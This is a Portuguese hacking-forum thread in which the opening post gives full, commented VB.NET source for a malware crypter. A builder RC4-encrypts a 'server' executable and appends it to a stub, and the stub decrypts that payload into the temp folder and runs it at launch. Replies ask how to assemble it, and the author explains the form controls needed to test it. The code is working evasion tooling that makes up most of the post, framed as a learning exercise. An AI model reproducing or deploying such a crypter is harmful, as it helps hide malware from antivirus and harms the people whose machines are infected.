Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Entendendo um crypter na pratica

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Entendendo um crypter na pratica

    Bom uma vez fui pesquisar sobre crypters e vi que todos os tutoriais que eu achei 'ensinando' como criar um crypter o cara so copiava e colava o código e não explicava nada. Então decidir baixar o código e tentar entender.
    Então comentei o código (pelo menos o que eu conseguir entender).

    Código do crypter(cliente) [VB] :
    Código:
    Imports System.Text
    Public Class main
        Const dCrypt = "**HACKERSHOT**"
    	
    	'coloca o caminho do exe (server) no textbox1
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Dim ofd As New OpenFileDialog
            ofd.Title = "Selecione Seu Server..."
            ofd.Filter = "Executáveis (*.exe)|*.exe"
            If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
                TextBox1.Text = ofd.FileName
            Else : Exit Sub
            End If
        End Sub
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            Try
    			'var1 = arquivo a ser encryptado
    			'var2 = arquivo a ser salvo
    			'stub = stub.exe
    		
    			'grava o diretorio em que vai ser salvo em var2
                Dim var1, var2, stub As String
                Dim sfd As New SaveFileDialog
                sfd.Title = "Salvar Seu Server..."
                sfd.Filter = "Executáveis (*.exe)|*.exe"
                If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
                    var2 = sfd.FileName
                Else : Exit Sub
                End If
    			
    			
                FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 'abre o arquivo (server)
                var1 = Space(LOF(1)) 'var1 = varialvel cheia de espacos com mesmo tamanho do arquivo (seria o equivalente a alocar memoria)
                FileGet(1, var1) 'tranfere arquivo para var1
                FileClose(1) 'fecha var1
                FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 'abre Stub, no mesmo diretorio
                stub = Space(LOF(1)) 'stub = varialvel cheia de espacos com mesmo tamanho do arquivo
                FileGet(1, stub) 'tranfere arquivo da stub.exe para stub
                FileClose(1) 'fecha stub
                FileOpen(1, var2, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) 'abre o arquivo de destivo(salvar) para escrita
                FilePut(1, stub & dCrypt & rc4(var1, "h4ck3rShotK3Y")) 'coloca a stub + "**HACKERSHOT**" + rc4(var1, "h4ck3rShotK3Y") 'rc4 = devolve o arquivo encriptado (var1 = arquivo, h4ck3rShotK3Y interfere na encriptação (equivalente a uma senha) )
                FileClose(1)'fecha			
                MsgBox("¡Encryptado!", MsgBoxStyle.Information)
    			
    			'Arquivo final = Stub + **HACKERSHOT** + ArquivoEncriptado
    			
            Catch ex As Exception
                MsgBox("¡Error!", MsgBoxStyle.Critical)
            End Try
        End Sub
        Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
            Dim i As Integer = 0
            Dim j As Integer = 0
            Dim cipher As New StringBuilder
            Dim returnCipher As String = String.Empty
            Dim sbox As Integer() = New Integer(256) {}
            Dim key As Integer() = New Integer(256) {}
            Dim intLength As Integer = password.Length
            Dim a As Integer = 0
            While a <= 255
                Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) 'pega char de pessword
                key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) 'salva password em key (h4ck3rShotK3Yh4ck3rShotK3Yh4ck3rShotK3Y...)
                sbox(a) = a 'sbox = array com 1,2,3,4...255
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
    		
    		'Deixa sbox com uns numero maldito (103,157...)
            Dim x As Integer = 0
            Dim b As Integer = 0
            While b <= 255
                x = (x + sbox(b) + key(b)) Mod 256 
                Dim tempSwap As Integer = sbox(b)
                sbox(b) = sbox(x)
                sbox(x) = tempSwap
                System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
            End While
            
    		'Encripta arquivo malditamente
    		a = 1
            While a <= message.Length
                Dim itmp As Integer = 0
                i = (i + 1) Mod 256
                j = (j + sbox(i)) Mod 256
                itmp = sbox(i)
                sbox(i) = sbox(j)
                sbox(j) = itmp
                Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
                Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
                itmp = Asc(ctmp)
                Dim cipherby As Integer = itmp Xor k
                cipher.Append(Chr(cipherby))
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            returnCipher = cipher.ToString
            cipher.Length = 0
            Return returnCipher
        End Function
    End Class
    Código da Stub:
    Código:
    Imports System.Text
    Public Class Form1
        Const dCrypt = "**HACKERSHOT**"
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            On Error Resume Next
            Dim TPath As String = System.IO.Path.GetTempPath
            Dim d1, d2(), d3 As String
            FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) 'Abre o proprio arquivo (Stub + **HACKERSHOT** + ArquivoEncriptado)
            d1 = Space(LOF(1)) 'd1 = tamanho do arquivo com espacos (alocação de memoria)
            FileGet(1, d1) 'salva o arquivo em d1
            FileClose(1) 'fecha
            d2 = Split(d1, dCrypt) 'd2 separa a stub do crypter, d2 = array com d2(0) = stub, d2(1)=**HACKERSHOT**, d2(2)=arquivo
            d3 = rc4(d2(1), "h4ck3rShotK3Y") 'rc4(arquivoencriptado, h4ck3rShotK3Y) 'descripta arquivo
            FileOpen(5, TPath & "\Encryptado.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) 'criar arquivo para gravação
            FilePut(5, d3) 'coloca arquivo desencriptado nele
            FileClose(5) 'fecha
            System.Diagnostics.Process.Start(TPath & "\Encryptado.exe") 'abre arquivo desencriptado
            Me.Close()
        End Sub
        Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
            Dim i As Integer = 0
            Dim j As Integer = 0
            Dim cipher As New StringBuilder
            Dim returnCipher As String = String.Empty
            Dim sbox As Integer() = New Integer(256) {}
            Dim key As Integer() = New Integer(256) {}
            Dim intLength As Integer = password.Length
            Dim a As Integer = 0
            While a <= 255
                Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
                key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
                sbox(a) = a
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            Dim x As Integer = 0
            Dim b As Integer = 0
            While b <= 255
                x = (x + sbox(b) + key(b)) Mod 256
                Dim tempSwap As Integer = sbox(b)
                sbox(b) = sbox(x)
                sbox(x) = tempSwap
                System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
            End While
            a = 1
            While a <= message.Length
                Dim itmp As Integer = 0
                i = (i + 1) Mod 256
                j = (j + sbox(i)) Mod 256
                itmp = sbox(i)
                sbox(i) = sbox(j)
                sbox(j) = itmp
                Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
                Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
                itmp = Asc(ctmp)
                Dim cipherby As Integer = itmp Xor k
                cipher.Append(Chr(cipherby))
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            returnCipher = cipher.ToString
            cipher.Length = 0
            Return returnCipher
        End Function
    End Class
    Sugiro você copiar e colocar em um editor de texto como o notepad++ ou no próprio VB pra ficar melhor de visualizar. Se você viu algum erro tem alguma duvida ou quer add mais coisa só comentar ai que também me ajuda a entender melhor.

  • Font Size
    #2
    Devo coloca 2 Button e 1 TextBox?
    Pode postar o vídeo?

    Comment


    • Font Size
      #3
      Postado Originalmente por Lols01 Ver Post
      Devo coloca 2 Button e 1 TextBox?
      Pode postar o vídeo?
      O objetivo do topico e você analisar o codigo fonte (que ta comentado), nao copiar e colar um codigo no vb mudar o nome e falar que fez um crypter novo.
      Mas se voce quiser testar para ver se realmente funciona...voce tem q add 2 botoes e um texbox no client e nada na stub.

      Comment


      • Font Size
        #4
        Muito obrigado

        Estava louco atras do código e como escreve-lo, irei agora analisar e estudar o mesmo. grato

        Comment


        • Font Size
          #5


          muuito bom garoto!!!!
          "O conhecimento é OURO, saber aplicar é Diamante".

          Comment

          X
          Working...
          X